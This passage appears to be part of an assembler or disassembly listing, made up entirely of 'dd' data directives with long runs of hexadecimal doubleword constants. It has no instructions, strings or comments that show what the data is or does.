3B8B70EDh dd 300CD030h, 4A5CC516h, 0D43A3351h, 2058C1D7h, 18684649h dd 0F0063C9Bh, 4CEA4ADFh, 17EC576Fh, 0C3C07879h, 13B1015Ah dd 2C0A1C38h, 599B18Eh, 0A6FA12EFh, 9DC2F238h, 1837BDFDh dd 8E00001Bh, 0EA0094B6h, 475DF111h, 0A7BD516Bh, 0A20B4C8h dd 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh, 3149263Ch dd 0BD3AEA9Dh, 13A52AC6h, 56C04F94h, 97296179h, 0CA021EF9h dd 95FA1D2Fh, 0C967C919h, 0C9C2D4ECh, 13A6BFE3h, 4D740871h dd 4F2ECCD9h, 5668033Bh, 2525C33h, 4293D785h, 0A8258514h dd 1B8AEBD3h, 0B08A167Fh, 66BF5A92h, 0C2FB6D5Dh, 0BF44C1CCh dd 1B1B8A7Dh, 4B9C52B2h, 0CD352E40h, 90DC3B7Eh, 0C1F919F2h dd 9EF11426h, 4822C010h, 0BD3A182Ah, 0C4DF7F5Fh, 1274C42Dh dd 1F40EE95h, 2CFC6CCBh, 0F2E11DDFh, 0EAB0C21Bh, 3987E658h dd 25F6A4Ch, 0ECC2CDF0h, 0BE9C3A9Ch, 257E9A75h, 474052EDh dd 0CCFB2768h, 0DB3D8DF6h, 124A5E3Dh, 2C4A1777h, 0F2421071h dd 0CAE9C6E0h, 0BA43A9B6h, 53E740E6h, 0F448603Dh, 8ABC7CF4h dd 248F1555h, 8200001Ah, 0DEF488AAh, 3B51E505h, 9BB1455Fh dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh dd 253D1A30h, 0B12EDE91h, 13A52BCAh, 56B44388h, 36542E79h dd 0D20A63FEh, 0CA1A94FBh, 0D5EDCA68h, 81F0CAC3h, 0F55E13A6h dd 0C8D93A61h, 21334F2Ah, 0CD1D91FEh, 0D9EFCD6Bh, 0FBF406A1h dd 1442AD2Dh, 65855EFCh, 20B7453h, 225556F7h, 0B7D887h dd 33A5FC83h, 98F15AB8h, 0A4ADCB48h, 0D23BBFD7h, 1981082h dd 0DC5881B1h, 7604D253h, 13257E3Fh, 411DBB4Dh, 9DF21527h dd 6744C111h, 0F3A7F37Ah, 0BF9C3A8Ah, 20FD13A7h, 973F9C01h dd 0B912B5E4h, 0C3B28D65h, 0A90D0B5h, 1967h, 0B145673Fh dd 0EA2C29Bh, 6E021CF8h, 0D1657958h, 30C4E0BBh, 0DDB89157h dd 3D172DC1h, 97758B1Fh, 0FAD7ED81h, 0EB9B4EE2h, 0A52B896Eh dd 71004513h, 29617956h, 21713D52h, 0A6833AA4h, 9FEF5813h dd 843BC03Dh, 0FB9713A6h, 97A90222h, 0D8C14E75h, 8402F976h dd 67D013A6h, 515D3255h, 0A8D68401h, 1B841442h, 28B02212h dd 8FE5810Ah, 651A97E7h, 0F11B8AF5h, 687D7688h, 0F6E6C841h dd 48C51599h, 1EADAB2Ah, 8DFF4FB8h, 69682055h, 6127394Ah dd 59A9058Ah, 49B0FFDCh, 0D2228B07h, 0AB3F5734h, 4CA0B895h dd 552A65B0h, 0B8FB81C1h, 0EE000018h, 4A60F416h, 0A7BD5171h dd 71DB1CBh, 6A801428h, 6DF738Fh, 708C67E0h, 0CEECC6DCh dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A52C66h, 5620AFF4h dd 52296179h, 0A421713Dh, 13A6ABF6h, 122A07A5h, 68B82100h dd 0C4D6ECCAh, 0B50B7BA2h, 9B60DDDAh, 0FC13A6ACh, 4AB30422h dd 2503A1F1h, 0A21FFD0Fh, 144280F4h, 132706A2h, 14A6B1BAh dd 0F688426Eh, 0EF03E299h, 0ABC94696h, 39B03790h, 6E280D0h dd 0A522B4ECh, 0BF3792DEh, 2EBA137Ch, 61273951h, 9C76058Ah dd 0B7EFD077h, 35C4FEEh, 87D730CBh, 0D3F2AD0Ah, 0DB58BAB8h dd 0A71B0524h, 2ED552B2h, 0ACA71B05h, 0F9D8EA43h, 0C5A24090h dd 0FE90B9A6h, 156EFB72h, 768E6B81h, 0A4AAE422h, 0DB61A1BEh dd 17E3h, 35C9EBC3h, 9226461Fh, 0F286A07Ch, 55E9FDDCh dd 0B448643Fh, 613C15DBh, 0C19BB145h, 1BF90FA3h, 7E5B7105h dd 6F1FD266h, 0A52D0DF2h, 0F584C913h, 29617956h, 0FD7A3D52h dd 1442A006h, 52A3BD99h, 0DE4090E9h, 0D9566140h, 1442A022h dd 0B6EE47B0h, 9410091Bh, 0DE13A525h, 0AA872575h, 0B224FE92h dd 8AAB3C4Eh, 0D5CEE078h, 13A5DCBEh, 811599F8h, 142C09A7h dd 0F30BE802h, 5F4F405Fh, 5912920Fh, 0F7601442h, 103009A7h dd 768D667Ch, 8DA202F9h, 0E67D01Bh, 132B08D6h, 2EC951BFh dd 82084862h, 173Fh, 0D96D8F67h, 36CAEAC3h, 962A4420h dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h dd 22FF15A9h, 13C3760Ah, 0A52EE196h, 99286D13h, 1C6C424Dh dd 20B7D3AAh, 1E30CAF0h, 816CDE40h, 33185210h, 39CDD6B5h dd 95EE027Ch, 0EA0A8A83h, 0EF5813A5h, 0C24019Fh, 76385978h dd 92E5B426h, 14338846h, 0C4A72402h, 8A13AABEh, 0F557E921h dd 0AABE8378h, 96E64F13h, 0AABE6219h, 7587F013h, 0AABE827Ch dd 1F391513h, 263A19E7h dd 0DA8A0DEEh, 792D3E96h, 73FFBA45h, 731BD8h, 4D440000h dd 9D1A6A44h, 1442A0EAh, 0E49B1878h, 721442A0h, 0CB78B009h dd 1442A030h, 366E8663h, 39718D68h, 84FBAB82h, 0DB338CAAh dd 0DF311789h, 6242B258h, 0C8F3B350h, 0FB334F2Ah, 8C734E60h dd 49E05BAEh, 2Dh, 0A0857772h, 88071442h, 5E38D626h, 5B6D0840h dd 8EA2007Dh, 14B013A6h, 0D7AC2936h, 8313A68Fh, 0D468C11Ah dd 687E5CFAh, 0D3E501DCh, 15F492FEh, 1C2EC901h, 0C81896F9h dd 0A682A54Bh, 92CA3313h, 3BCFE7C4h, 0CCE8C361h, 0CDE7F994h dd 0EA88D8F0h, 1FBAF210h, 9E79470Dh, 0B9943282h, 0B8CA659Dh dd 55118EF2h, 61F50DEAh, 1E566E4Bh, 0D6F4847h, 0A682EB90h dd 93FE6713h, 13A682ECh, 0F68D0A6Ah, 6413A682h, 0F949A2FBh dd 429BAA7Ch, 0D9087814h, 6687E2F4h, 845EF24Bh, 67F307E6h dd 0A13C7488h, 8098758Fh, 0ADC39B48h, 43C063BCh, 0C6E65803h dd 743E8B31h, 4B284254h, 0AC899F33h, 2CCA5C94h, 0D27394Dh dd 2BE21A2Eh, 0CB691054h, 0CCC4CDF0h, 0CC071E57h, 6A476173h dd 85640252h, 273D5F71h, 68FA324Ah, 9BD3EFCAh, 0C4CBEE00h dd 0C31D9AEAh, 919459F0h, 0A70018F5h, 820FD13h, 0A2802D0h dd 0B5F16ED2h, 41D5EDCAh, 0E6364E2Bh, 0CD700784h, 75DE9BA1h dd 0C9C69D63h, 661895E5h, 0EC9C45FFh, 0BC953383h, 3DC9649Ch dd 740F4761h, 4D2A4062h, 4A3B212Eh, 24F25270h, 5FAF086Bh dd 82B3DBEDh, 0B9548CA6h, 7DE9CB59h, 7F8A56Bh, 7D93854Ch dd 0F6D34AFAh, 80B8CCABh, 9E3C8CE5h, 7597A9C1h, 336B815Fh dd 366E8A65h, 8772FF8h, 26C4142Ah, 422FC4Bh, 9D7799ABh dd 0D30B21FFh, 0D9112705h, 7D59E53Eh, 7E902B63h, 38708664h dd 3F778B6Ah, 447C9471h, 0BE7C9776h, 1186AF48h, 0B1538BE4h dd 6E38A3DDh, 3FBCDE4Ch, 0AC294B07h, 5EA785F8h, 7B0F6882h dd 0A9602FA1h, 0F9418BB7h, 0FA5DCF99h, 0DDEF45FBh, 97CFE5C3h dd 8FDFCFC0h, 61947C12h, 5991FAB4h, 0A49BCBA2h, 61CB0C6h dd 47D91129h, 0A0B2CEA9h, 0FC9AA986h, 33CE0620h, 0E99833C8h dd 0DD369FBBh, 0E69E67A5h, 32829A77h, 68A0B694h, 11DE6DCDh dd 0E13C7FB1h, 29D6ADCFh, 0AE30B05Fh, 44h, 17F492D7h, 7425C7FFh dd 0F2B2B7ACh, 9BB5C720h, 0B957A7BDh, 0EE89C1DFh, 503F16DCh dd 0B7910E5Eh, 0BD13A606h, 0EB09584Dh, 3790D5BAh, 32D5A3h dd 0E95B0000h, 0E9D36408h, 0C23F8F07h, 13A6B03Dh, 491E3099h dd 0EE6B7856h, 1442A009h, 0CB035CC5h, 0C3139BF4h, 0CDE7C361h dd 0EFE8FA95h, 13A6B99Dh, 8556EA53h, 107FC145h, 3D14E9Eh dd 0D113A68Ch, 73F5935h, 0FF0A136Ch, 0E7159B78h, 61B1FD92h dd 31E286E4h, 58E355EFh, 80D11722h, 0A50EEDFFh, 0BEDEB755h dd 800FE6ACh, 4261DE2Eh, 1017DDD8h, 0DCB957A7h, 0FDD674C4h dd 0AA0AA5DDh, 1D4810FBh, 799BAD55h, 0DF672D9Fh, 82B64DCAh dd 0BB24181Dh, 272F715Bh, 95A7BD9Bh, 7A539E7Bh, 2E87225Ah dd 9DDD40DAh, 0A72D6D65h, 136Bh, 0AD41633Bh, 0A9EBE97h dd 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h, 391329BDh dd 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A531956Ah, 6DFC4113h dd 0FE18F492h, 6B7D9572h, 42A18D72h, 0AFD84A14h, 0E202585Dh dd 127DA0B2h, 77DA4C9Ch, 519F859h, 8DD232CDh, 411F316Dh dd 0A67D86C4h, 9BEB5413h, 0FBD61FFDh, 800CA7DFh, 0BA558DA1h dd 0D9B7CD61h, 0E0BD8BC3h, 0EAB074C8h, 0D1116A18h, 12EA4Bh dd 0C2E4BC00h, 1F3F182Eh, 7F99758Bh, 0E2F6D5EBh, 415D384Eh dd 352ED4ADh, 94AA3E5Ah, 0F2089CBAh, 546AFE14h, 18CB5F77h dd 3214EB68h, 7DC213A5h, 75424DEEh, 42A003F8h, 0D66CF14h dd 0B60240BDh, 67D013A6h, 0B553B517h, 0EC87BFD9h, 0A6B7FA81h dd 0DDEF5813h, 56D3EAC3h, 13A6B7A1h, 9BB5912Dh, 166FC863h dd 0BFCC54C6h, 0AC3DD26Dh, 8962789Ah, 86633169h, 0A6801E6Eh dd 129E1781h, 95EEB2CAh, 0EAB0C25Dh, 35285C33h, 4EEC3C5Ch dd 26485A70h, 474E9AFFh, 59325E67h, 0FD6F0139h, 9FE57EF2h dd 0DD6946h, 23DDD6E8h, 0B613A61Eh, 8D66D98Dh, 0EAC3D96Dh dd 0D4BB92CAh, 3CB9CCA7h, 13A61E47h, 1951AA13h, 58D5257Eh dd 14419B7Ch, 0DB4D9D06h, 7CDB762Ch, 0CAA632A0h, 0CBDD78B0h dd 0BF198BEDh, 0CDACEA98h, 77546E80h, 0D8B5CB5Fh, 0A795B9h dd 0D0E265E9h, 523C8D0Bh, 6CA4FD56h, 64B4FA95h, 71856402h dd 0E4CD665Fh, 28911C69h, 455D3AD8h, 0A6BE9BB1h, 0B6F8976Eh dd 0F0CBE966h, 30990412h, 656C52DCh, 0BD438352h, 11BFh dd 59ED0FE7h, 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h dd 8560F9FFh, 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah dd 0A5336116h, 19A8ED13h, 42A08977h, 213E1C14h, 0F1A40D69h dd 4CE03993h, 0EC931072h, 6A1442BFh, 25B5A101h, 5B7F7BF0h dd 45692649h, 92E778F5h, 42AB13A5h, 5E7854F2h, 0F492F9CAh dd 26C80016h, 43C66A81h, 0EA76CF98h, 1EB9F111h, 7CE310Ch dd 9607E7DFh, 30000001h, 246B434Dh, 0A06B1592h, 0C1A81442h dd 0D339927Ah, 3092F795h, 42A0CCB3h, 0F218A14h, 0FCD5A6ECh dd 0B009A4DCh, 4D0AC169h, 0A4166648h, 933740F6h, 1AEF0181h dd 0FD19F492h, 81182AC5h, 0E59A959Ah, 7E1CE55Fh, 804E86A4h dd 0B65189A5h, 53AC4B5Dh, 0D5000000h, 2269454Dh, 0C91AF492h dd 0FF9AD2EEh, 83D36EA6h, 42A07106h, 6274DD14h, 0A0750784h dd 72DB1442h, 0BC43C022h, 1A1442A0h, 304825B1h, 764B5DF8h dd 30923992h, 42A0CCB3h, 0F218A14h, 0B8FF19F5h, 329E5B70h dd 24000000h, 0A0BE45C2h, 0B31C1442h, 454DCCA1h, 0F4922269h dd 2EC90115h, 3FC13E1Ch, 541442A0h, 3992266Dh, 532D7A56h dd 0A03AC13Eh, 2F981442h, 70367DD6h, 17F4925Bh, 0A1D9EDCCh dd 0C09BAD06h, 0E55FE56Fh, 5DA8h, 484DD100h, 15921F66h dd 1442A06Bh, 5A6E4DE9h, 0E72E8722h, 51AF492h, 42A0F388h dd 9DF65F14h, 5654AD8Bh, 92165D7Dh, 0AA51CE30h, 281442A0h dd 0A0AF54BFh, 0C22B1442h, 0F492B0B0h, 31C3FB1Bh, 42A0CFB4h dd 0C9228B14h, 609EE2B7h, 24000000h, 8B265AB2h, 0C15C94B0h dd 0D7651561h, 484DF0C5h, 30921F66h, 0FB02B2BEh, 32CD051Fh dd 46BCD5D2h, 7B164E6Ch, 65171022h, 0AA144294h, 94A84FCCh dd 8A261442h, 0DF3891B1h, 0CE309298h, 0D065C5Ch, 0E954613Ah dd 14427D12h, 0F0CB57C0h, 56EDC2D4h, 92165D7Dh, 0A0CCB330h dd 218A1442h, 9EFA0F0Fh, 0FFFFFE4Eh, 6C424D2Dh, 8AA07E1Ch dd 0F90B1FFEh, 8E47B91Bh, 898A15E3h, 3089A781h, 0E5A1251Eh dd 8AF313A5h, 0A4C29C3Ah, 0E1BFD16Ch, 0DA576643h, 13AAE625h dd 9FEF48B1h, 0D40C2401h, 0BACEAD39h, 0B3D5E782h, 455F3BD9h dd 2D811033h, 0E69B60DDh, 0CE3713AAh, 0E610E996h, 0AE8713AAh dd 0AA88568Eh, 0CEA55C94h, 3082DA96h, 16765CCEh, 0C78B7927h dd 0AAE0A75Ch, 3ECA3313h, 97344664h, 0DD50AFEFh, 2E85D873h dd 0AE000000h, 42A08477h, 1A320F14h, 0A0EF9186h, 6E211442h dd 0AD73F040h, 6B13A6A6h, 32946E02h, 0A6A6CEB5h, 97238C13h dd 0BD8FA1BBh, 0A6h, 39424D4Ch, 99E9425Eh, 0F6D41DFBh dd 977587E0h, 0A681201Ah, 75C52E13h, 4FE3F9D7h, 36125B39h dd 0B48BC31Ch, 683D3DBh, 14410496h, 1F461FBDh, 7B3231FBh dd 4E86DF13h, 59C2A1B3h, 778D6B09h, 0B19709E3h, 0F067D810h dd 0DEB0517h, 0A7E8BFF7h, 73AB707h, 531C6E54h, 1FFC9AEAh dd 27997307h, 33B64D6Fh, 738D9F7Fh, 0E2A7E96h, 0DB5A4A21h dd 0E85159Bh, 49210000h, 0A47D9327h, 0FEDAF084h, 5B3A50E4h dd 0C29DB347h, 0B33912A6h, 0FA3BF9Ah, 6D011FF9h, 0CF637957h dd 30C4DCB9h, 0AB50CD7Dh, 2713A536h, 795653E2h, 35972961h dd 42A0C3B8h, 14268F14h, 0CD051DFAh, 9F9EC68Fh, 3F16AAC2h dd 0E05C1DC0h, 4D15h, 424D3E00h, 25216265h, 55E4414h, 57DA38B5h dd 3FA813A6h, 115C3907h, 42E41C34h, 97F76E7Ah, 0D32C8595h dd 344C293Fh, 446A25FCh, 40C577F4h, 1A8C1442h, 0F2CE27CDh dd 0F0F978D8h, 0F46989E9h, 0CEFEE674h, 6341DDBCh, 217A154Dh dd 2092BC8Dh, 9E48AE0Fh, 0BCBB27A8h, 9083A909h, 0D0A9C3D5h dd 2D061CB0h, 57B0006h, 17707166h, 364A29C7h, 0C5B15E24h dd 9014424Dh, 0E8FA18F2h, 66E3F0CEh, 14424D91h, 0BA0B2702h dd 8A64F851h, 0E5C112ECh, 9FF893CBh, 97BACC67h, 0E966B6F8h dd 13A5C87Bh, 0B44BC82Ah, 2213AAD2h, 5FC8A7B9h, 7B95710Fh dd 6A9516E7h, 2CE7DFE5h, 5D95B58Eh, 0A0A94ECBh, 0BC2514C2h dd 23B25163h, 0DB000001h, 246B434Dh, 0A06B1592h, 0C1A81442h dd 8720927Ah, 4005C0C2h, 6B9D2585h, 0EC8A2CE0h, 0D3A3FCDAh dd 454DF795h, 0A00EF572h, 63CC1442h, 1C1C30Ah, 0A05D229Fh dd 90F91442h, 484DA97Eh, 0E9D91F66h, 442A5D77h, 1F31E7A9h dd 0E59A954Ah, 2C5BE55Fh, 7B000000h, 0B657AB09h, 0B3FE8C99h dd 2593A8DCh, 0A3788AE3h, 2269454Dh, 0A06B1592h, 80E91442h dd 56399239h, 7019607Ah, 169E5Bh, 4D2D0000h, 92226945h dd 42A06B15h, 7AC1A814h, 7A563992h, 5B701960h, 0FE18F492h dd 0E61E11ECh, 49D7E55Fh, 0 dd 1F66484Dh, 0B5923092h, 3D758D6Ah, 761149A2h, 0A0916B64h dd 0D63F1442h, 0AC20928Fh, 9EE0E526h, 9B2555A3h, 26CEE33Bh dd 5DF8304Ah, 0BB14F204h, 115F492h, 21C2EC9h, 1BB90929h dd 4015273Dh, 319E5B70h, 2D000000h, 1F66484Dh, 0B6923092h dd 5EC9649Ch, 1442A099h, 0DCBACC35h, 42A09D5Fh, 0BB0BF214h dd 0EF27411Dh, 926D4254h, 5D7D5639h, 0B4527016h, 0D4A9BBDBh dd 0FFFEC59Eh, 424D2DFFh, 279F1C6Ch, 6D13A525h, 7EDEF2D1h dd 6A8E8399h, 0DD2D86A6h, 0B64A623Fh, 64B4FA97h, 97FE8502h dd 0F35C13A5h, 975126A3h, 94FD13A5h, 5027A482h, 0FE13A597h dd 0C9B05D95h, 4E13A597h, 54225A70h, 95275F77h, 0A5976318h dd 1186EF13h, 0EE460A3Ah, 0AF5A9DDh, 0CBD874E6h, 28h, 0A08477F4h dd 320F1442h, 4F2CCA1Ah, 1464FF37h, 42A0E097h, 0F3056E14h dd 0C385F7D1h, 1850C66Ah, 0C3F8CADCh, 87000000h, 0F875424Dh dd 1442A003h, 0BD0D66CFh, 0A6BD3640h, 0E3339C13h, 0BD516745h dd 63B3C9A7h, 0BFD1E7C5h, 416D22F9h, 18F18FF1h, 0F5EDE6F8h dd 0A714413Bh, 1A8CEE3Eh, 6558528h, 7BB5A95Bh, 75B5A707h dd 4136B303h, 0D1B89CFh, 9A7892A4h, 0FCDAF084h, 382496E6h dd 96027938h, 8A1CE2F4h, 62FB3918h, 798BE4C7h, 25753956h dd 6ED091A8h, 4925C11Ch, 0E886D62Fh, 31A3F30Bh, 0AFF2E197h dd 5F81938Ah, 45216C49h, 0C47ED22Bh, 395A4ADAh, 0B2D73F9h dd 0A1790000h, 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh dd 6B916AFEh, 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h dd 0D3A825D5h, 7F13A53Ah, 7956AB3Ah, 90C7E35Ah, 0B50EEDEEh dd 0D0ECC765h, 0F466F8BEh, 34587F77h, 0B8D2E437h, 4D8BC3DBh dd 805DC084h, 330F5635h, 0ED88C019h, 0D6290094h, 0FFE05BBDh dd 58h, 6C424D28h, 0BD3D9F1Ch, 0EA5313A6h, 0E807E4B2h dd 21BC77F3h, 0F04099E2h, 21597952h, 58B0617Fh, 7FD89328h dd 58354B6Dh, 0D8760840h, 11ACE4FAh, 0FBB3DCFFh, 14340DABh dd 50C22402h, 0CD3DA2A4h, 3C354768h, 1442F0CAh, 51FFB99h dd 412032CDh, 78B0C8A5h, 1FF084DDh, 0C95D7D56h, 42A026D4h dd 859B7914h, 0FABDD2F1h, 2E66805Ch, 0A0532893h, 63FF1442h dd 0BC156E86h, 2574EF6Ch, 9D3B13A5h, 0D46FA7C1h, 2A7AE3C2h dd 296B08Ch, 0E56A9531h, 8E2CE7DFh, 0C35E96B4h, 17B12B1h dd 923B0000h, 0A0CCB330h, 0EE8A1442h, 28C3FB0Fh, 0F69ABDCFh dd 159271B8h, 1442A06Bh, 0D622BAA8h, 0CC29AE8Fh, 0F34C6240h dd 923992ACh, 5CBA2320h, 0CADC7624h, 92517F2Dh, 0EF0115F4h dd 0A1E8C6CCh, 0B3923092h, 61CC679Fh, 1442A09Ah, 0EBDCF38h dd 66484D57h, 839B7816h, 0C99EB04Bh, 0F492F2D9h, 11ECFE18h dd 0E55FE61Eh, 72D7h, 0F4920000h, 0CAEDFF17h, 0BED6B3C8h dd 73F5332h, 92CC136Ch, 0F760BE20h, 62741186h, 0E1750784h dd 7BDB1442h, 42E179FEh, 0C6CD514h, 0F0082CF7h, 60A700ECh dd 7A563992h, 98721060h, 47A7427Ah, 9083A81h, 320719E9h dd 0B9923092h, 5BC66199h, 1442A0A4h, 0A3B79632h, 2338384Ah dd 0FC1AF492h, 451729C4h, 2Ah, 17EC69CBh, 0C31442A0h, 4D73485Ah dd 365D3645h, 92D4F86Fh, 88E13A7Eh, 6B159241h, 0A81442A0h dd 39927AC1h, 19607A56h, 9A955B70h, 1CE55FE5h, 528AA07Eh dd 2C06A5B7h, 2F000000h, 1F66484Dh, 0A06B1592h, 80E91442h dd 56399239h, 31512A7Dh, 5B7091D8h, 4A9Eh, 0AD862400h dd 3BC03D8Dh, 971442A0h, 92471C2Eh, 0DD76A420h, 0A6B87EFEh dd 8B691283h, 49A23D75h, 32209202h, 680F6BBDh, 61FCACDEh dd 409975D7h, 29D3502Eh, 66144281h, 2092387Fh, 0CCD00597h dd 7C5A6C9Ch, 5D7D5623h, 9E5B7016h, 0FFFFFE75h, 6C424D2Dh dd 25279F1Ch, 46D13A5h, 1A3916B4h, 546B493Eh, 11BF728h dd 49D52EC9h, 65F9526Eh, 52304B46h, 5B36043Ch, 3D8DE63Fh dd 0A5E13BC0h, 0F62E9713h, 0A5E1B049h, 5A0A1B13h, 0BB40BD1Fh dd 1713A5E1h, 3EC19CAEh, 97D874DCh, 21h, 0A08477C0h, 320F1442h dd 0EB68CA1Ah, 1442A014h, 0FCFA9DB3h, 0BC0D5015h, 511F4153h dd 0BCh, 6C424DE0h, 0A1119F1Ch, 0D63F13A6h, 0ED0AE886h dd 3E8B36B8h, 67FB548Eh, 255D7351h, 0CFB43193h, 8B13A6D3h dd 0A2ED1022h, 3F1EBC0Ch, 0CC58F32Bh, 6A1D9EDh, 16B416F4h dd 0F812EE39h, 948D9Fh, 52144156h, 993799E9h, 0D26DA5BBh dd 0B2C8A6C0h, 2BD2441Eh, 6F9AC856h, 0A65DDA2Ah, 341B89D3h dd 0C19FB9CBh, 96A455A4h, 87E02FB4h, 9717784Fh, 6977CA47h dd 7AE31C6Eh, 97AF8C2Ah, 0F810ED03h, 4A96A8A4h, 0A329695Ah dd 7B3h, 65F91BF3h, 0C256764Fh, 22B6D0ACh, 85192D0Ch, 0E478946Fh dd 916CE50Bh, 0F1CBE175h, 4B293FD3h, 0AE8BA135h, 9F4F0296h dd 0A53D5D22h, 25B4F913h, 522E7956h, 6B141031h, 217A1EA4h dd 0E5C290C8h, 8E5795CDh, 2831A3D6h, 0CB69832Fh, 66435D6Fh dd 0EA22421Bh, 8B62F64Fh, 0E05BA374h, 3661h, 0A21F8100h dd 1442C2DDh, 29FE1079h, 1C6C424Dh, 0A68B219Fh, 0CE066F13h dd 3185CA3Ch, 9AB8A912h, 394BA4BEh, 0A69DBF40h, 4BFB0C13h dd 77D4EC13h, 3DE9D8h, 4D120000h, 9F1C6C42h, 13A6AD3Dh dd 0E4B2EA53h, 3D9FEF07h, 0A6AE3BC0h, 641B9813h, 0F213A6AEh dd 0BDCF3889h, 90A8859Bh, 0A00E8158h, 0AFE5D350h, 0A731442h dd 0D2A9C76h, 0BCD15ADBh, 459E7385h, 0A3147BCDh, 42A05126h dd 3B94FD14h, 770C89EBh, 0E31442A0h, 0B0671A7Ah, 82035A94h dd 47159270h, 1513A658h, 15B3A3ACh, 0B8921E3Ah, 4B8F889Ah dd 0AD3D1EAh, 65778F6Ch, 11614D42h, 5F82289Fh, 0A1C42C0Dh dd 0AEC92927h, 502E4084h, 390C7CEEh, 416E47FDh, 0C29307E1h dd 7082C7FEh, 0FD9C1977h, 2E7EE7DBh, 4797B790h, 7D9F35CAh dd 2638A1C4h, 0A8068960h, 8279F658h, 50C47D9Fh, 7AF7D5E7h dd 0C399A45Dh, 0D270C029h, 3349DDF5h, 80053756h, 7986A16Ch dd 0EA8ACC20h, 5B9B99D9h, 63ED5h, 6E906800h, 0CBEBC4DAh dd 2B452137h, 8EA28197h, 0ED09E4FAh, 0E17A8059h, 4056EA06h dd 9EB44866h, 16AAC0h, 0C4770B23h, 3FE09714h, 296E13A5h dd 6179569Ah, 657F5B29h, 4136B315h, 0D1442A0h, 967092A4h dd 0A50519F8h, 183FB40h, 0D2F5072Bh, 3FA1F1BDh, 46663FDDh dd 7308730Eh, 0DF144234h, 7B6B6476h, 2913A5B1h, 0DEBA88C0h dd 0B1F070C4h, 9496A15h, 5C683h, 0E608E000h, 43633C52h dd 0A3BD99AFh, 61AF90Fh, 65815C72h, 59F2F8D1h, 0B8CE627Eh dd 162CC0DEh, 788E2238h, 3CEF839Bh, 3F680F8Ch, 0A1E613A5h dd 6C424D12h, 253B9F1Ch, 0F05913A5h, 0F40EEAB8h, 1645CAA0h dd 0BD43836Ah, 57Bh, 9D31532Bh, 0FA8EAE87h, 5AEE08E4h dd 0BD516544h, 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh dd 0E6C3D96Dh, 0D7873ACEh, 0A53FA55Ah, 5DEC3113h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 5E3E3749h, 0F413A525h, 0C5FCC484h dd 1D768EECh, 2A3B17E5h, 0A5B2D6ADh, 0C21B8413h, 16BA066Eh dd 951B5B6Ah, 517h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh, 4A273DD1h dd 3BEB9E32h, 0A50039BEh, 0C1509513h, 11617956h, 0A04D32AFh dd 0A0091442h, 1DFAC88Eh, 23FFCD05h, 2803D109h, 0CE95D40Ch dd 3BB8DA96h, 0D4B2500Bh dd 0B592ACBEh, 16F3099Dh, 6719C6FEh, 0F21442A0h, 40DE9DC9h dd 1C364866h, 0B993273Fh, 2A87B47h, 7D8F2E8Bh, 366E8663h dd 0DF738B68h, 5126A305h, 0FD14424Fh, 126B8561h, 0FCB2DD00h dd 36CD4AACh, 6914424Fh, 0B720718Fh, 404AC7A5h, 0E13A65Ch dd 3FC06DA5h, 8C13A7A3h, 0A7BF9C3Ah, 25C2D46Fh, 1AC23D61h dd 36D4D877h, 132F0A5Dh, 0D5E782BAh, 6036h, 0F4925F00h dd 0F9C7FF17h, 33CE061Ah, 0EAA5C8DAh, 639BB591h, 0A0AF54D1h dd 0C22B1442h, 5EC01069h, 0CAEBF9ECh, 128F34F2h, 1442DC6Dh dd 9B2780E9h, 9790A2C2h, 13A6D5D1h, 51FE369Fh, 13A626AEh dd 0A959CB1Dh, 334B287Eh, 261287D3h, 0F7E1239h, 0A0B20BF3h dd 0E41B4303h, 0F1D8772Bh, 0DEh, 6A79561Ah, 42A016EDh dd 25BC414h, 6F1040B2h, 0C0FBAE89h, 3F1AE8AEh, 0E759EB23h dd 5FC6ADFFh, 0BFD9EB83h, 187ACAE2h, 42DBE49Bh, 0A9097214h dd 6E642919h, 5E243619h, 79BB390h, 426C2A12h, 0F110ED14h dd 4C25DE4Ah, 0A93D960Dh, 8F6BB693h, 0DE41C75h, 5FDC2C82h dd 13A6C671h, 0DD98AE20h, 4BE2AEDh, 16AA13F2h, 0C61698F7h dd 6610E764h, 22BE13A6h, 58F32B47h, 920FEDFFh, 14408CBEh dd 650353BCh, 42623B8Ah, 643F55E9h, 1B8AF448h, 0ABEB6232h dd 35625h, 56785000h, 0B3D3ACC2h, 132D091Fh, 768A697Fh dd 0D5F1CCE2h, 0C9826841h, 283ED2EEh, 869C304Eh, 0E8FE92A8h dd 0AC5FF30Bh, 1F87FFCh, 115613A5h, 77209282h, 8274B01Ah dd 50A9C7A1h, 2D49243Eh, 8EA68399h, 424D29FAh, 0E99F1C6Ch dd 0A713A6A9h, 0A659063Eh, 2513A6AAh, 0D32C5014h, 4D87807h dd 0CBh, 15F4922Dh, 0BA37C901h, 1442A0C5h, 43CF2891h, 7D185064h dd 5C74516Bh, 5F7B5624h, 0B6339527h, 1442A1C1h, 1912248Dh dd 1442A525h, 6BFF17F4h, 28607855h, 20703E51h, 0A6AB35A3h dd 66FA6313h, 16664847h, 40521E99h, 0ABFB6414h, 5B37CC49h dd 3AA31B88h, 4AE84A28h, 4E1C546Eh, 0F0025B6Fh, 8FDFFBD6h dd 98DA651Dh, 0B9CBB19Bh, 8AA68197h, 33095236h, 71F73762h dd 277h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h, 0C1556948h dd 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh, 0EAC7DD71h dd 0DB8B3ED2h, 0A502995Eh, 61F03513h, 0F5F7B56h, 0A04B30ADh dd 6B071442h, 0A03B7391h, 0FD133547h, 0D4AC0120h, 6AC61CA7h dd 56AC7D11h, 5B296179h, 0DF26F7Eh, 0C91442A0h, 54730760h dd 8523733Bh, 9E7C8EAAh, 0A68BA321h, 5088F113h, 0E4F4CBEh dd 756AE8E0h, 0A9447C9Ch, 